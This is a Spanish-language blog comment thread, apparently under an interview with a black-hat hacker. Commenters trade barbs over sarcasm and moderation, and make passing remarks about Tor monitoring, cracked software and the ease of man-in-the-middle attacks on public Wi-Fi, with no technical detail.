Chema dijo...

Claro

Miguel dijo...

A lo mejor deberías escribir en Kriptópolis en vez de aquí. ;-)
A lo mejor has sido tú el que no ha visto el sarcasmo.
A lo mejor deberías automoderarte porque un poquito tensa si que veo esta respuesta cuando mi texto no ofende a nadie.
Pero sólo a lo mejor.

Miguel dijo...

Lee el segundo "A-lo-mejor" de arriba y quizás lo entiendas y guardes ese cartel para otro/s. ;-P

BTshell dijo...

Por última vez, me reitero en lo que he dicho, cada vez te pareces más a Sheldon Couper, NI PILLAS EL SARCASMO,NI LO SABES TRANSMITIR.
P.D: No tengo intención de responderte más, ya que parece que eres MUY corto de entendimiento, saludos y hasta siempre ;)

Yellowhat dijo...

Seguro que se llama "Klash" me late.

LordZero dijo...

Quien dijo que la red TOR cambia la IP?? jajajajaja se nota que nunca has entrado a www.whatsmyip.com, antes y despues de ingresar a la VPN.

LordZero dijo...

No conoces, pero creo que tienes demasiada idea para saber que las páginas expuestas ahí deberían ser .onion, sin embargo las redes tor, al parecer, ya estan siendo monitoreadas: http://www.wired.com/threatlevel/2013/09/freedom-hosting-fbi/


Creo que llegó el día donde el tenebroso "Sistema del economist@" surga, después de estar escondido muchos años :( para brindar anonimato real.

Jorge García dijo...

Se agradece un punto de vista que no sea el del consultor de seguridad típico. A mí me ha gustado, pero está claro que iba a traer polémica.


Temassssss...

Miguel dijo...

@ Alejandro:
Supongo que habrás sido tú el que se ha automoderado. Pero, ya puestos, elimina todos los comentarios que respondían a los tuyos. Tal como están, tienen muy poco sentido.

Como no puedo contestarte a ti, al haber borrado tu comentario, me contesto a mí mismo.

Siendo honesto, cuando leí el artículo, mejor dicho, cuando leí tus comentarios a los comentarios del artículo, flipé. Soy de la opinión de Ski6 (http://www.securitybydefault.com/2014/02/entrevista-un-blackhat.html#comment-1241171008). Un moderador no puede, al menos públicamente, rebajarse de la manera en la que lo has hecho aquí. Ni mucho menos ir de "Aquí se hace lo que me sale de los huevos questo es mío". Lo puedes hacer, pero a lo mejor el público que se queda no es el que te gustaría. Tú verás.

Como te decía, después de leer tus comentarios se me ocurrió ponerte un "honeypot", para probar que hasta un experto en seguridad, en ciertas condiciones, falla. Un comentario, el mío, bastante neutro, pero con dos incisiones en el ego, al principio y al final han sido suficientes para que picaras.

¿Qué pretendo con este comentario? Si no es censurado; dejar constancia de que se te ha visto el plumero. Que teniendo muchas cosas interesantes que contar y ya contadas, no era necesaria esta salida de tiesto. Algunos ya no te miramos igual (aunque no te importe).

Y a tu escudero, a ese Sancho Panza digital que salió, inmediatamente, en tu ayuda, y que es tan agudo que publicó su desternillante comentario del "SARCASMO" en su twitter, ¿qué le puedo decir que no se haya visto ya en sus propias palabras?... ¿"Recoge los juguetes cuando acabes"?



Alejandro, te felicito por "Hacker Épico", una fantástica novela. A ver si vemos pronto la continuación. Pero no más salidas de tiesto, porque si no, en vez de comprarla, me la bajaré del emule en un PDF infectado por K***h.


Saludos benignos!

Miguel Aguilar dijo...

Muy interesante!

Es muy normal encontrarte a "profesionales" informáticos que recomiendan a sus clientes que se instalen tal o cual software crackeado. En serio que piensan que no es peligroso, porque el antivirus X, también crackeado, no detecta nada.

Un saludo!

Milo dijo...

Algunos les gusta la adrenalina...

María García dijo...

Bueno, después de hacer un poco el semi-ridi creyendo que el artículo era un post-broma como el de las velas, he vuelto a leerlo entero y también todos los comentarios.

Iba a decir varias cosas, pero me he tropezado con una frase del calendario que dice que es mejor no hablar si no se está seguro de que lo que se va a decir es más hermoso que el silencio. Así es que, lo dejo en:

- Creo que ya le he pillado el sentido y la intención. Lo que sucede es que eso de que no todo son mafias extranjeras y que " tal vez yo no tenga la necesidad de vender productos de ningún tipo y por ello tampoco necesito escribir un documento describiendo las soluciones de seguridad y como mi empresa las ha detectado", es algo que creo que hasta los novatillos intuimos y por eso me dio por pensar que sería algo menos evidente. Lo de forocoches me lo apunto porque eso sí que lo desconocía :)



- No conozco apenas a Alejandro. Pero en una ocasión en la que por casualidad intercambiamos cuatro tuits no me dio la impresión de ser un prepotente, más bien lo contrario. Pero bueno, todo el mundo tiene días.


- Yo prefiero usar internet para intercambiar conocimientos (o, en mi caso, más bien para aprender) mejor que para atacar a nadie. Y, en cualquier caso, me fijo más en la calidad de la información que en lo simpática o antipática que sea la gente.


- Me alegro de que SbD sea gratis.


(pero vamos, todo lo anterior es solo mi opinión)

NoHat dijo...

No me gusta el "trabajo" de blackhat, me parece un simple delincuente que trata de justificar su falta de ética en las acciones de otros usuarios pero esa es otra historia. En lo que a MiTMe, es demasiado simple, ir a cualquier cafe, restaurant, wifi colectivo, etc.. y ya tienes a cientos de victimas a tu alcance sin mucho esfuerzo.